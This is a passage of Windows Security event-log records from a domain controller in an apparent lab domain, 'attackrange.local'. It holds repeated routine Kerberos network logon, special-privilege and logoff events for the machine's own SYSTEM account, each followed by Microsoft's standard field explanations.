	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249233
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0A12

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249232
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE09AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249231
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE09AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64182

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249230
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE09AC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249229
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE094B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249228
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE094B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64181

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249227
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE094B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249250
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0C33

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249249
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0C33
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64188

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249248
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0C33

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249247
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0BD2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249246
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0BD2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64187

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249245
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0BD2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249244
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0B6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249243
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0B6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64186

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249242
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0B6C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249241
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0B0B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249240
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0B0B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64185

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249239
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0B0B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249262
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0E21

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249261
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0E21
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64192

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249260
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0E21

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249259
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0DC0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249258
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0DC0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64191

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249257
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0DC0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249256
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0D5A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249255
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0D5A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64190

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249254
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0D5A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
